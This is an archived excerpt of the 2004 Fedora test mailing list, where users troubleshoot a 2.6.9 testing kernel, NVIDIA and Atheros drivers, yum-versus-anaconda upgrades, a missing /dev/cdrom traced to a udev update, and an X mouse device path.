<1099505094.16932.17.camel@localhost.localdomain> There was a separate nvidia patch discussed on kerneltrap.org about a week ago. I think it was a one liner. On Wed, 2004-11-03 at 12:50 -0500, Ken Snider wrote: > Dave Jones wrote: > > As the more astute will have noticed, yesterday I > > dropped a 2.6.9 based kernel in updates-testing. > > Is there a known fix for this era of kernel and the NVIDIA driver > (specifically __VMALLOC_RESERVE)? > > -- > Ken Snider > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Wed Nov 3 18:06:02 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 03 Nov 2004 11:06:02 -0700 Subject: New testing kernel. In-Reply-To: <41891DB5.9020703@flarn.com> References: <20041103171954.GC31914@redhat.com> <41891A52.4020401@flarn.com> <41891C59.6000108@redhat.com> <41891DB5.9020703@flarn.com> Message-ID: <1099505162.16932.19.camel@localhost.localdomain> There isn't anything wrong with the nvidia driver other than it was built to work with pre 2.6.9 kernels. The 2.6.9 require a patch in order for the nvidia driver to build properly. On Wed, 2004-11-03 at 13:04 -0500, Ken Snider wrote: > Harald Hoyer wrote: > > > ask nvidia > > One would asume the nvidia *users* of the list might have a *workaround*, > which was the question - not if anyone knew what was *wrong* with the driver, > which is a nvidia question. > > -- > Ken Snider > -- Kim Lux (Mr.) Diesel Research Inc From achoens at frontiernet.net Wed Nov 3 18:08:00 2004 From: achoens at frontiernet.net (achoens at frontiernet.net) Date: Wed, 3 Nov 2004 13:08:00 -0500 Subject: Corrupted System Message-ID: <20041103130800.g74sok484gkkgocs@webmail.frontiernet.net> Hi Everyone, I've got a complicated problem. I keep yum pointed at development. I updated my system via yum and then things went crazy. The system started off as a FC3 T2(2.91) system running on a Toshiba laptop. Now when I boot, X won't work and rhgb goes crazy. I can get to a useful command prompt by editing my kernel arguments, although rhgb tries to start if it's listed in the kernel argument or not. I can boot to single and then init 3 to get the network up and running. Booting straight to 3 doesn't work. It makes the machine go crazy and won't let you log in. I tried to roll-back my X installation using yum's cache, but when I try to use rpm, I am told that my ELF headers are invalid in /usr/lib/libpopt.so.0 So, what can I do to get this computer running again? I'm downloading 2.92 installation CD's now. I don't know if this will help or not, but it's the only thing I can think of. I seem to have basic bash capability, but most things beyond that gives me the error above about my ELF headers. Ideas, comments, and suggestions are encouraged. Thanks andy From pnasrat at redhat.com Wed Nov 3 18:14:33 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Wed, 03 Nov 2004 13:14:33 -0500 Subject: dual install results, artheros drivers, touchpad on a toshiba satellite p35 s609 In-Reply-To: <006101c4c1d6$a90a4080$0600a8c0@pr20041031> References: <006101c4c1d6$a90a4080$0600a8c0@pr20041031> Message-ID: <1099505673.4168.0.camel@anu.eridu> On Wed, 2004-11-03 at 10:55 -0800, Paul Rennix wrote: > I just set up FC3t3 on a Toshiba p35 s609 - it went well! > > I set it up as a dual boot with the oem WinXP Home SP2 and used knoppix to > resize the partition and then installed FC3. NO disk geometry problems!! I > didn't use any of the workarounds that were necessary with fc2, and the > install was flawless. > > Now I only have a couple minor problems to work through. One, is the > convoluted process that I am finding to install drivers for artheros wifi - > which I have gone through twice now without success. I know its a longshot, > but has anyone had success with these drivers on fc3? > > Also, the install failed to recognize the touchpad which windows reports to > be an "alps pointing device" which is a touchpad and 2 buttons (no "stick.") > It is doing well with a wireless usb mouse, though. ALPS requires kernel patches for support, when they go upstream we'll get the support. Paul From fayoeu at gmail.com Wed Nov 3 18:14:40 2004 From: fayoeu at gmail.com (Fa Yoeu) Date: Wed, 3 Nov 2004 10:14:40 -0800 Subject: New testing kernel. In-Reply-To: <41891A52.4020401@flarn.com> References: <20041103171954.GC31914@redhat.com> <41891A52.4020401@flarn.com> Message-ID: One liner patch can be located here: http://www.spinics.net/lists/kernel/msg301680.html I tried it and it seems to work. Hopefully, nvidia will fix it when Core 3 is released. On Wed, 03 Nov 2004 12:50:10 -0500, Ken Snider wrote: > Dave Jones wrote: > > As the more astute will have noticed, yesterday I > > dropped a 2.6.9 based kernel in updates-testing. > > Is there a known fix for this era of kernel and the NVIDIA driver > (specifically __VMALLOC_RESERVE)? > > -- > Ken Snider > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From david at fubar.dk Wed Nov 3 18:17:33 2004 From: david at fubar.dk (David Zeuthen) Date: Wed, 03 Nov 2004 13:17:33 -0500 Subject: Recognising Partitions In-Reply-To: <20041102132803.A16771@mail.harddata.com> References: <1099414688.3509.7.camel@localhost.localdomain> <1099419831.5774.19.camel@davidz> <20041102132803.A16771@mail.harddata.com> Message-ID: <1099505853.4477.10.camel@davidz> On Tue, 2004-11-02 at 13:28 -0700, Michal Jaegermann wrote: > On Tue, Nov 02, 2004 at 01:23:51PM -0500, David Zeuthen wrote: > > > > It did disappear on purpose, however you may remove this section > > > > > > > > > > > > > type="bool">false > > > > > > > > > > from your /usr/share/hal/fdi/90systempolicy/storage-policy.fdi but do > > note that this may be replaced on hal updates. > > A question. If one will drop into /usr/share/hal/fdi/95.... > a .fdi file which looks like that fragment above but with > > type="bool">true > > will be this not an override for whatever happen to be system > defaults? > No, that would be a bit dangerous as we blacklist other things as well (such as SCSI drives except optical ones). > > (right now we may wrongly add entries for block devices stemming from > > IDE RAID controllers, that's partly why we pulled this feature). > > As far as I understand this is only one of possible nasty suprises > with "should_mount" set to widely to "true". Some of them we may > yet to see. :-) > Well, if you find a bug in the filesystem probing code let us know. > OTOH if there would be application allowing 'root' to generate > these XML files without doing that "raw", and while presenting a > clear picture of keys and values, that would be nice. > Not sure - ideally users shouldn't have to fine tune this. For FC4 I hope to have an option in the installer for selecting the default policy and one option would include "allow full use of all storage devices" (including non-hotpluggable fixed drives, e.g. your FAT and NTFS partitions), another one could be "read-only access to hotpluggable drives" and of course an option to completely lock things down (e.g. no entries are ever added to the /etc/fstab). Cheers, David From balay at fastmail.fm Wed Nov 3 18:42:10 2004 From: balay at fastmail.fm (Satish Balay) Date: Wed, 3 Nov 2004 12:42:10 -0600 (CST) Subject: dual install results, artheros drivers, touchpad on a toshiba satellite p35 s609 In-Reply-To: <006101c4c1d6$a90a4080$0600a8c0@pr20041031> References: <006101c4c1d6$a90a4080$0600a8c0@pr20041031> Message-ID: On Wed, 3 Nov 2004, Paul Rennix wrote: > Now I only have a couple minor problems to work through. One, is the > convoluted process that I am finding to install drivers for artheros wifi - > which I have gone through twice now without success. I know its a longshot, > but has anyone had success with these drivers on fc3? Yes, I've used it on a thinkpad T40 - and it works. What problems/errors do you get? I just do a 'cvs co' make make install Satish From fedora-test-list at cygnusx-1.org Wed Nov 3 18:15:21 2004 From: fedora-test-list at cygnusx-1.org (Nathan Grennan) Date: Wed, 03 Nov 2004 10:15:21 -0800 Subject: New testing kernel. In-Reply-To: <20041103171954.GC31914@redhat.com> References: <20041103171954.GC31914@redhat.com> Message-ID: <1099505721.30107.4.camel@ws.1sttier.net> On Wed, 2004-11-03 at 12:19 -0500, Dave Jones wrote: > As the more astute will have noticed, yesterday I > dropped a 2.6.9 based kernel in updates-testing. > > This is 99% the same as the 2.6.9 kernel that is in FC3. > Whilst there are still bugs to fix there, it also > fixes countless bugs existing for a long time in the > current FC2 kernel, and getting both trees on a > kinda-sorta level playing field is going to do wonders > for trying to get bugzilla under control. > > So, please beat on this a little, as any improvements > made to it will not only be useful from an FC2 update > point of view, but also for FC3. > Here is something I saw while upgrading a FC2 box to the test kernel. No entry in /etc/grub.conf. Not initrd in /boot. Manually running "new- kernel-pkg --mkinitrd --depmod --install 2.6.9-1.1_FC2" worked. Running test transaction: Test transaction complete, Success! kernel 100 % done 1/5 Usage: new-kernel-pkg [-v] [--mkinitrd] [--rminitrd] [--initrdfile=] [--depmod] [--rmmoddep] [--kernel-args=] [--banner=] [--make-default] <--install | --remove> (ex: new-kernel-pkg --mkinitrd --depmod --install 2.4.7-2) tcpdump 100 % done 2/5 libpcap 100 % done 3/5 Completing update for tcpdump - 4/5 Completing update for libpcap - 5/5 Kernel Updated/Installed, checking for bootloader Grub found - making this kernel the default Installed: kernel 2.6.9-1.1_FC2.i686 Updated: tcpdump 14:3.8.2-6.FC2.1.i386 libpcap 14:0.8.3-6.FC2.1.i386 Transaction(s) Complete From balay at fastmail.fm Wed Nov 3 18:52:53 2004 From: balay at fastmail.fm (Satish Balay) Date: Wed, 3 Nov 2004 12:52:53 -0600 (CST) Subject: Corrupted System In-Reply-To: <20041103130800.g74sok484gkkgocs@webmail.frontiernet.net> References: <20041103130800.g74sok484gkkgocs@webmail.frontiernet.net> Message-ID: On Wed, 3 Nov 2004, achoens at frontiernet.net wrote: > Hi Everyone, > > I've got a complicated problem. I keep yum pointed at development. I > updated my system via yum and then things went crazy. The system > started off as a FC3 T2(2.91) system running on a Toshiba laptop. > > Now when I boot, X won't work and rhgb goes crazy. I can get to a > useful command prompt by editing my kernel arguments, although rhgb > tries to start if it's listed in the kernel argument or not. I can > boot to single and then init 3 to get the network up and running. > Booting straight to 3 doesn't work. It makes the machine go crazy and > won't let you log in. > > I tried to roll-back my X installation using yum's cache, but when I try > to use rpm, I am told that my ELF headers are invalid in > /usr/lib/libpopt.so.0 > > So, what can I do to get this computer running again? I'm downloading > 2.92 installation CD's now. I don't know if this will help or not, but > it's the only thing I can think of. I seem to have basic bash > capability, but most things beyond that gives me the error above about > my ELF headers. > > Ideas, comments, and suggestions are encouraged. How about 'rpm -V popt' or 'rpm -Va' to find perhaps corrupted rpms - and try reinstalling them again? Satish From trulsg at broadpark.no Wed Nov 3 18:50:36 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Wed, 03 Nov 2004 19:50:36 +0100 Subject: yum upgrade? Message-ID: <4189287C.5060305@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, I am planning to upgrade my laptop (TP23) from fc2 to fc3. Since I don't have /home as seperate partition I was thinking of doing av yum upgrade rather than a clean install. What are the pros and cons for this procedure? Would an upgrade from a cd better or different? Would it work to repartition and copy the /home-files to a new /home partition? Also, I have a W3k dual boot configuration. That was a lot, I realise, but thanks in advance. Truls -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBiSh8ickK29LSyG8RAkYVAKCS0DAUVZIlGWIx4oAKVkrPSPqjSACguXnH L2abunDNp4gIGOkLjfIkmH0= =cI/m -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... Name: trulsg.vcf Type: text/x-vcard Size: 237 bytes Desc: not available URL: From sopwith at redhat.com Wed Nov 3 18:55:22 2004 From: sopwith at redhat.com (Elliot Lee) Date: Wed, 3 Nov 2004 13:55:22 -0500 (EST) Subject: yum upgrade? In-Reply-To: <4189287C.5060305@broadpark.no> References: <4189287C.5060305@broadpark.no> Message-ID: On Wed, 3 Nov 2004, Truls Gulbrandsen wrote: > I am planning to upgrade my laptop (TP23) from fc2 to fc3. Since I > don't have /home as seperate partition I was thinking of doing av yum > upgrade Don't do that! > rather than a clean install. Don't do that! Upgrade via anaconda. :) -- Elliot From nbc at cisco.com Wed Nov 3 19:00:18 2004 From: nbc at cisco.com (Neil B. Cohen) Date: Wed, 03 Nov 2004 14:00:18 -0500 Subject: Problem with Kernel 667? In-Reply-To: References: <4189287C.5060305@broadpark.no> Message-ID: <1099508418.3190.2.camel@nbc-linux.cisco.com> I have been running FC3 for a few days - no problems with kernels 639, 640, 643 etc. I just installed 667 and rebooted, and when it tried to start KsCD, I was told that /dev/cdrom had the wrong permissions or no audio CD was in the drive. I was listening to a CD before I rebooted, so I know it was working. But after the reboot, /dev/cdrom does not exist at all. Any idea why? What is the 'correct' way to restore that? Is this a known issue? Do I need to create a bugzilla entry? thanks, nbc NAME: Neil B. Cohen (Cisco Systems Inc.) PHONE: 703-484-1316 DOMAIN: nbc at cisco.com ************************************************************* * Murphy's Philosophy: Smile - tomorrow will be worse... * * * * O'Tooles Commentary: Murphy was an optimist! * ************************************************************* From paul at thespps.org Wed Nov 3 18:59:46 2004 From: paul at thespps.org (paul at thespps.org) Date: Wed, 3 Nov 2004 11:59:46 -0700 (MST) Subject: dual install results, artheros drivers, touchpad on a toshiba satellite p35 s609 In-Reply-To: References: <006101c4c1d6$a90a4080$0600a8c0@pr20041031> Message-ID: <2759.66.17.141.4.1099508386.squirrel@66.17.141.4> > > > On Wed, 3 Nov 2004, Paul Rennix wrote: > >> Now I only have a couple minor problems to work through. One, is the >> convoluted process that I am finding to install drivers for artheros >> wifi - >> which I have gone through twice now without success. I know its a >> longshot, >> but has anyone had success with these drivers on fc3? > > Yes, I've used it on a thinkpad T40 - and it works. What > problems/errors do you get? > > I just do a 'cvs co' > make > make install > > Satish That's what I did, too. I then rebooted, the configuration tool came up, but then the error was something along the lines of "device does not appear to be present" I also tried to use the madwifi rpms to no avail. -Paul From balay at fastmail.fm Wed Nov 3 19:21:44 2004 From: balay at fastmail.fm (Satish Balay) Date: Wed, 3 Nov 2004 13:21:44 -0600 (CST) Subject: dual install results, artheros drivers, touchpad on a toshiba satellite p35 s609 In-Reply-To: <2759.66.17.141.4.1099508386.squirrel@66.17.141.4> References: <006101c4c1d6$a90a4080$0600a8c0@pr20041031> <2759.66.17.141.4.1099508386.squirrel@66.17.141.4> Message-ID: On Wed, 3 Nov 2004 paul at thespps.org wrote: > > I just do a 'cvs co' > > make > > make install > > > > Satish > > That's what I did, too. Did you encounter any errors? > I then rebooted, the configuration tool came up, but then the error > was something along the lines of "device does not appear to be > present" Please post the output of the following commands. /sbin/lspci /sbin/lsmod | grep ath modprobe ath_pci > I also tried to use the madwifi rpms to no avail. Thats no good. You need to grab the rpm that matches the kernel version (I don't think there is one for any of hte FC3test kernels) Satish From skvidal at phy.duke.edu Wed Nov 3 19:20:26 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Wed, 03 Nov 2004 14:20:26 -0500 Subject: yum upgrade? In-Reply-To: References: <4189287C.5060305@broadpark.no> Message-ID: <1099509626.4065.1.camel@binkley> On Wed, 2004-11-03 at 13:55 -0500, Elliot Lee wrote: > On Wed, 3 Nov 2004, Truls Gulbrandsen wrote: > > > I am planning to upgrade my laptop (TP23) from fc2 to fc3. Since I > > don't have /home as seperate partition I was thinking of doing av yum > > upgrade > > Don't do that! > > > rather than a clean install. > > Don't do that! > > Upgrade via anaconda. :) > -- Elliot Why not? All of the upgrades I've done (only 3 so far) from fc2->fc3rc* have gone just fine with yum. Have you encountered problems? -sv From lux at diesel-research.com Wed Nov 3 19:29:26 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 03 Nov 2004 12:29:26 -0700 Subject: Problem with Kernel 667? In-Reply-To: <1099508418.3190.2.camel@nbc-linux.cisco.com> References: <4189287C.5060305@broadpark.no> <1099508418.3190.2.camel@nbc-linux.cisco.com> Message-ID: <1099510166.17246.10.camel@localhost.localdomain> I don't know if if is well documented, but I think /dev/cdrom is an outdated mount point. I think things are being mounted under /media these days. I'll bet the cdrom driver in the kernel is mounting the cdrom under /media. You might have to delete some automount and fstab entries to get things working again. On Wed, 2004-11-03 at 14:00 -0500, Neil B. Cohen wrote: > I have been running FC3 for a few days - no problems with kernels 639, > 640, 643 etc. I just installed 667 and rebooted, and when it tried to > start KsCD, I was told that /dev/cdrom had the wrong permissions or no > audio CD was in the drive. I was listening to a CD before I rebooted, so > I know it was working. But after the reboot, /dev/cdrom does not exist > at all. Any idea why? What is the 'correct' way to restore that? > > Is this a known issue? Do I need to create a bugzilla entry? > > thanks, > > nbc > > NAME: Neil B. Cohen (Cisco Systems Inc.) > PHONE: 703-484-1316 > DOMAIN: nbc at cisco.com > ************************************************************* > * Murphy's Philosophy: Smile - tomorrow will be worse... * > * * > * O'Tooles Commentary: Murphy was an optimist! * > ************************************************************* > > -- Kim Lux (Mr.) Diesel Research Inc From skvidal at phy.duke.edu Wed Nov 3 19:29:13 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Wed, 03 Nov 2004 14:29:13 -0500 Subject: yum upgrade? In-Reply-To: <4189287C.5060305@broadpark.no> References: <4189287C.5060305@broadpark.no> Message-ID: <1099510153.4065.9.camel@binkley> On Wed, 2004-11-03 at 19:50 +0100, Truls Gulbrandsen wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi, > I am planning to upgrade my laptop (TP23) from fc2 to fc3. Since I > don't have /home as seperate partition I was thinking of doing av yum > upgrade rather than a clean install. What are the pros and cons for > this procedure? Would an upgrade from a cd better or different? > Would it work to repartition and copy the /home-files to a new /home > partition? > Also, I have a W3k dual boot configuration. > > That was a lot, I realise, but thanks in advance. > To upgrade via yum the short version goes like this: 1. backup all your data 2. upgrade yum to yum from fc3 3. upgrade fedora-release to fedora-release from fc3 4. make sure all your repositories point where you think they should point. 5. run yum list updates - just to make sure things seem sane and working 6. make sure you are NOT in X and X is not loaded 6. from a terminal prompt run: yum upgrade 7. wait wait wait 8. you must reboot before using your system again 9. reboot the system and make sure you select the new kernel, not the old one(s) 10. once your system is fully booted you may want to install some additional items. Recommended: yum groupupdate "GNOME Desktop Environment" let me know what problems you encounter. -sv From achoens at frontiernet.net Wed Nov 3 19:43:38 2004 From: achoens at frontiernet.net (achoens at frontiernet.net) Date: Wed, 3 Nov 2004 14:43:38 -0500 Subject: Corrupted System In-Reply-To: References: <20041103130800.g74sok484gkkgocs@webmail.frontiernet.net> Message-ID: <20041103144338.84cgkk4cogggggsg@webmail.frontiernet.net> Quoting Satish Balay : > How about 'rpm -V popt' > or 'rpm -Va' > to find perhaps corrupted rpms - and try reinstalling them again? rpm is no longer operational. From achoens at frontiernet.net Wed Nov 3 19:46:04 2004 From: achoens at frontiernet.net (achoens at frontiernet.net) Date: Wed, 3 Nov 2004 14:46:04 -0500 Subject: yum upgrade? In-Reply-To: <1099509626.4065.1.camel@binkley> References: <4189287C.5060305@broadpark.no> <1099509626.4065.1.camel@binkley> Message-ID: <20041103144604.99xc8kw4kosgw0o8@webmail.frontiernet.net> Quoting seth vidal : > Why not? All of the upgrades I've done (only 3 so far) from > fc2->fc3rc* > have gone just fine with yum. > Have you encountered problems? It killed my system. From skvidal at phy.duke.edu Wed Nov 3 19:47:12 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Wed, 03 Nov 2004 14:47:12 -0500 Subject: yum upgrade? In-Reply-To: <20041103144604.99xc8kw4kosgw0o8@webmail.frontiernet.net> References: <4189287C.5060305@broadpark.no> <1099509626.4065.1.camel@binkley> <20041103144604.99xc8kw4kosgw0o8@webmail.frontiernet.net> Message-ID: <1099511232.3269.1.camel@binkley> On Wed, 2004-11-03 at 14:46 -0500, achoens at frontiernet.net wrote: > Quoting seth vidal : > > Why not? All of the upgrades I've done (only 3 so far) from > > fc2->fc3rc* > > have gone just fine with yum. > > Have you encountered problems? > > > > It killed my system. so far your description in earlier emails has not shown me anything to suggest yum did any damage. It sounds more like your system would be hosed if it was installed with anaconda or with yum. You just got a bad selection of whatever was in development. -sv From alan at redhat.com Wed Nov 3 20:05:49 2004 From: alan at redhat.com (Alan Cox) Date: Wed, 3 Nov 2004 15:05:49 -0500 Subject: Corrupted System In-Reply-To: <20041103144338.84cgkk4cogggggsg@webmail.frontiernet.net> References: <20041103130800.g74sok484gkkgocs@webmail.frontiernet.net> <20041103144338.84cgkk4cogggggsg@webmail.frontiernet.net> Message-ID: <20041103200549.GB30692@devserv.devel.redhat.com> On Wed, Nov 03, 2004 at 02:43:38PM -0500, achoens at frontiernet.net wrote: > Quoting Satish Balay : > > How about 'rpm -V popt' > > or 'rpm -Va' > > to find perhaps corrupted rpms - and try reinstalling them again? > > rpm is no longer operational. Boot off the rescue cd if you get into such a state, then you can use the rpm binary that includes with "--root" to check/review/fix anything From oliver at firstfloor.org Wed Nov 3 20:22:22 2004 From: oliver at firstfloor.org (oliver frommel) Date: Wed, 3 Nov 2004 21:22:22 +0100 Subject: keyboard and mouse stop working after starting X Message-ID: <20041103202222.GB1836@firstfloor.org> Hello, after several successful upgrades to RC5 I am having some problems with keyboard and mouse on another machine. On boot everything works fine, both deviced get detected properly: input: ImExPS/2 Logitech Explorer Mouse on isa0060/serio1 input: AT Translated Set 2 keyboard on isa0060/serio0 When I try to start X (Nvidia board) the machine seems to lock up. However it just seems to lose control over keyboard and mouse. The X server says: (EE) Mouse0: cannot open input device (EE) PreInit failed for input device "Mouse0" Of course the device that's configured in xorg.conf doesn't exist: Identifier "Mouse0" Driver "mouse" Option "Protocol" "IMPS/2" Option "Device" "/dev/psaux" Isn't udev supposed to take care for that? Or do I really have to supply the strange device names from above in the X config? Additionally mouse and keyboard stopped working in the console, too. thanks for your help Oliver From ellson at research.att.com Wed Nov 3 20:27:48 2004 From: ellson at research.att.com (John Ellson) Date: Wed, 03 Nov 2004 15:27:48 -0500 Subject: keyboard and mouse stop working after starting X In-Reply-To: <20041103202222.GB1836@firstfloor.org> References: <20041103202222.GB1836@firstfloor.org> Message-ID: <41893F44.3000104@research.att.com> oliver frommel wrote: >Hello, >after several successful upgrades to RC5 I am having some problems >with keyboard and mouse on another machine. On boot everything >works fine, both deviced get detected properly: > >input: ImExPS/2 Logitech Explorer Mouse on isa0060/serio1 >input: AT Translated Set 2 keyboard on isa0060/serio0 > >When I try to start X (Nvidia board) the machine seems to >lock up. However it just seems to lose control over keyboard >and mouse. > >The X server says: >(EE) Mouse0: cannot open input device >(EE) PreInit failed for input device "Mouse0" > >Of course the device that's configured in xorg.conf >doesn't exist: > Identifier "Mouse0" > Driver "mouse" > Option "Protocol" "IMPS/2" > Option "Device" "/dev/psaux" > >Isn't udev supposed to take care for that? >Or do I really have to supply the strange device names >from above in the X config? >Additionally mouse and keyboard stopped working in >the console, too. > >thanks for your help >Oliver > > > I believe that you need to change "/dev/psaux" to "/dev/input/mice" I don't know why udev, or some other upgrade package, failed to take care of this. Its bitten lots of people. John From nbc at cisco.com Wed Nov 3 20:35:27 2004 From: nbc at cisco.com (Neil B. Cohen) Date: Wed, 03 Nov 2004 15:35:27 -0500 Subject: Problem with Kernel 667? In-Reply-To: <1099510166.17246.10.camel@localhost.localdomain> References: <4189287C.5060305@broadpark.no> <1099508418.3190.2.camel@nbc-linux.cisco.com> <1099510166.17246.10.camel@localhost.localdomain> Message-ID: <1099514127.3190.6.camel@nbc-linux.cisco.com> On Wed, 2004-11-03 at 12:29 -0700, Kim Lux wrote: > I don't know if if is well documented, but I think /dev/cdrom is an > outdated mount point. I think things are being mounted under /media > these days. I'll bet the cdrom driver in the kernel is mounting the > cdrom under /media. > > You might have to delete some automount and fstab entries to get things > working again. > The entry in fstab looks like this: /dev/hdc /media/cdrom auto pamconsole,fscontext=system_u:object_r:removable_t,ro,exec,noauto,managed 0 0 /dev/fd0 /media/floppy auto pamconsole,fscontext=system_u:object_r:removable_t,exec,noauto,managed 0 0 So it thinks it is in the right place - could there be something specific with KsCD that it is looking for /dev/cdrom?? If I just type 'eject' at the console, the cdrom drive opens properly. Anyplace else that might point to /dev/cdrom that needs to be changed?? thanks, nbc > > On Wed, 2004-11-03 at 14:00 -0500, Neil B. Cohen wrote: > > I have been running FC3 for a few days - no problems with kernels 639, > > 640, 643 etc. I just installed 667 and rebooted, and when it tried to > > start KsCD, I was told that /dev/cdrom had the wrong permissions or no > > audio CD was in the drive. I was listening to a CD before I rebooted, so > > I know it was working. But after the reboot, /dev/cdrom does not exist > > at all. Any idea why? What is the 'correct' way to restore that? > > > > Is this a known issue? Do I need to create a bugzilla entry? > > > > thanks, > > > > nbc > > > > NAME: Neil B. Cohen (Cisco Systems Inc.) > > PHONE: 703-484-1316 > > DOMAIN: nbc at cisco.com > > ************************************************************* > > * Murphy's Philosophy: Smile - tomorrow will be worse... * > > * * > > * O'Tooles Commentary: Murphy was an optimist! * > > ************************************************************* > > > > > -- > Kim Lux (Mr.) Diesel Research Inc > From oliver at firstfloor.org Wed Nov 3 20:36:28 2004 From: oliver at firstfloor.org (oliver frommel) Date: Wed, 3 Nov 2004 21:36:28 +0100 Subject: keyboard and mouse stop working after starting X In-Reply-To: <41893F44.3000104@research.att.com> References: <20041103202222.GB1836@firstfloor.org> <41893F44.3000104@research.att.com> Message-ID: <20041103203628.GC1836@firstfloor.org> > > > I believe that you need to change "/dev/psaux" to "/dev/input/mice" > > I don't know why udev, or some other upgrade package, failed to take > care of this. > Its bitten lots of people. > thanks a lot for your quick help, it worked! I feel no need to reproduce the console problem now so far. best Oliver From lux at diesel-research.com Wed Nov 3 20:57:29 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 03 Nov 2004 13:57:29 -0700 Subject: Problem with Kernel 667? In-Reply-To: <1099514127.3190.6.camel@nbc-linux.cisco.com> References: <4189287C.5060305@broadpark.no> <1099508418.3190.2.camel@nbc-linux.cisco.com> <1099510166.17246.10.camel@localhost.localdomain> <1099514127.3190.6.camel@nbc-linux.cisco.com> Message-ID: <1099515449.17690.3.camel@localhost.localdomain> Can you mount it and access it manually ? I'd clear the fstab entries, reboot so there are no applications trying to mount/access it and then test it manually. Once you get it working manually, work on getting kscd working with it. On Wed, 2004-11-03 at 15:35 -0500, Neil B. Cohen wrote: > On Wed, 2004-11-03 at 12:29 -0700, Kim Lux wrote: > > I don't know if if is well documented, but I think /dev/cdrom is an > > outdated mount point. I think things are being mounted under /media > > these days. I'll bet the cdrom driver in the kernel is mounting the > > cdrom under /media. > > > > You might have to delete some automount and fstab entries to get things > > working again. > > > The entry in fstab looks like this: > > /dev/hdc /media/cdrom auto > pamconsole,fscontext=system_u:object_r:removable_t,ro,exec,noauto,managed 0 0 > /dev/fd0 /media/floppy auto > pamconsole,fscontext=system_u:object_r:removable_t,exec,noauto,managed 0 > 0 > > So it thinks it is in the right place - could there be something > specific with KsCD that it is looking for /dev/cdrom?? > > If I just type 'eject' at the console, the cdrom drive opens properly. > > Anyplace else that might point to /dev/cdrom that needs to be changed?? > > thanks, > > nbc > > > > > On Wed, 2004-11-03 at 14:00 -0500, Neil B. Cohen wrote: > > > I have been running FC3 for a few days - no problems with kernels 639, > > > 640, 643 etc. I just installed 667 and rebooted, and when it tried to > > > start KsCD, I was told that /dev/cdrom had the wrong permissions or no > > > audio CD was in the drive. I was listening to a CD before I rebooted, so > > > I know it was working. But after the reboot, /dev/cdrom does not exist > > > at all. Any idea why? What is the 'correct' way to restore that? > > > > > > Is this a known issue? Do I need to create a bugzilla entry? > > > > > > thanks, > > > > > > nbc > > > > > > NAME: Neil B. Cohen (Cisco Systems Inc.) > > > PHONE: 703-484-1316 > > > DOMAIN: nbc at cisco.com > > > ************************************************************* > > > * Murphy's Philosophy: Smile - tomorrow will be worse... * > > > * * > > > * O'Tooles Commentary: Murphy was an optimist! * > > > ************************************************************* > > > > > > > > -- > > Kim Lux (Mr.) Diesel Research Inc > > > -- Kim Lux (Mr.) Diesel Research Inc From bpm at ec-group.com Wed Nov 3 20:53:27 2004 From: bpm at ec-group.com (Brian Millett) Date: Wed, 3 Nov 2004 14:53:27 -0600 (CST) Subject: Problem with Kernel 667? In-Reply-To: <1099508418.3190.2.camel@nbc-linux.cisco.com> References: <4189287C.5060305@broadpark.no> <1099508418.3190.2.camel@nbc-linux.cisco.com> Message-ID: <39996.12.41.112.51.1099515207.squirrel@webmail.ec-group.com> > I have been running FC3 for a few days - no problems with kernels 639, > 640, 643 etc. I just installed 667 and rebooted, and when it tried to > start KsCD, I was told that /dev/cdrom had the wrong permissions or no > audio CD was in the drive. I was listening to a CD before I rebooted, so > I know it was working. But after the reboot, /dev/cdrom does not exist > at all. Any idea why? What is the 'correct' way to restore that? > > Is this a known issue? Do I need to create a bugzilla entry? Looks like udev-039-6.FC3.1 Rolled back to udev-039-6 and got back the dvd, cdrom & cdrecord Not sure quite what the diff is between the two, but it is: [bpm]$ diff -wruN /etc/udev /tmp/udev-039-6.FC3.1 diff -wruN /etc/udev/scripts/pam_console.dev /tmp/udev-039-6.FC3.1/scripts/pam_console.dev --- /etc/udev/scripts/pam_console.dev 2004-10-21 10:21:03.000000000 -0500 +++ /tmp/udev-039-6.FC3.1/scripts/pam_console.dev 2004-11-02 10:29:51.000000000 -0600 @@ -2,6 +2,9 @@ [ "$ACTION" != "add" ] && exit 0 +# we do not have console users in rc.sysinit +[ -n "$IN_INITLOG" ] && exit 0 + if [ -x /sbin/pam_console_setowner -a -f /var/run/console/console.lock \ -a -e "$DEVNAME" ]; then @@ -35,7 +38,8 @@ fi SYMLINKS="" - for i in $(/usr/bin/udevinfo -q symlink -n "$DEVNAME"); do + for i in $(/usr/bin/udevinfo -q symlink -p "$DEVPATH"); do + [ $? -gt 0 ] && break SYMLINKS="$SYMLINKS ${udev_root%%/}/$i" done debug_mesg "Restoring console permissions for $DEVNAME $SYMLINKS" diff -wruN /etc/udev/udev.conf /tmp/udev-039-6.FC3.1/udev.conf --- /etc/udev/udev.conf 2004-10-21 10:21:03.000000000 -0500 +++ /tmp/udev-039-6.FC3.1/udev.conf 2004-11-02 10:29:51.000000000 -0600 @@ -32,4 +32,4 @@ default_group="root" # udev_log - set to "yes" if you want logging, else "no" -udev_log="yes" +udev_log="no" -- Brian Millett Enterprise Consulting Group "Shifts in paradigms (314) 205-9030 often cause nose bleeds." bpmATec-groupDOTcom Greg Glenn From aoliva at redhat.com Wed Nov 3 21:14:04 2004 From: aoliva at redhat.com (Alexandre Oliva) Date: 03 Nov 2004 19:14:04 -0200 Subject: New testing kernel. In-Reply-To: <1099505721.30107.4.camel@ws.1sttier.net> References: <20041103171954.GC31914@redhat.com> <1099505721.30107.4.camel@ws.1sttier.net> Message-ID: On Nov 3, 2004, Nathan Grennan wrote: > Usage: new-kernel-pkg [-v] [--mkinitrd] [--rminitrd] > [--initrdfile=] 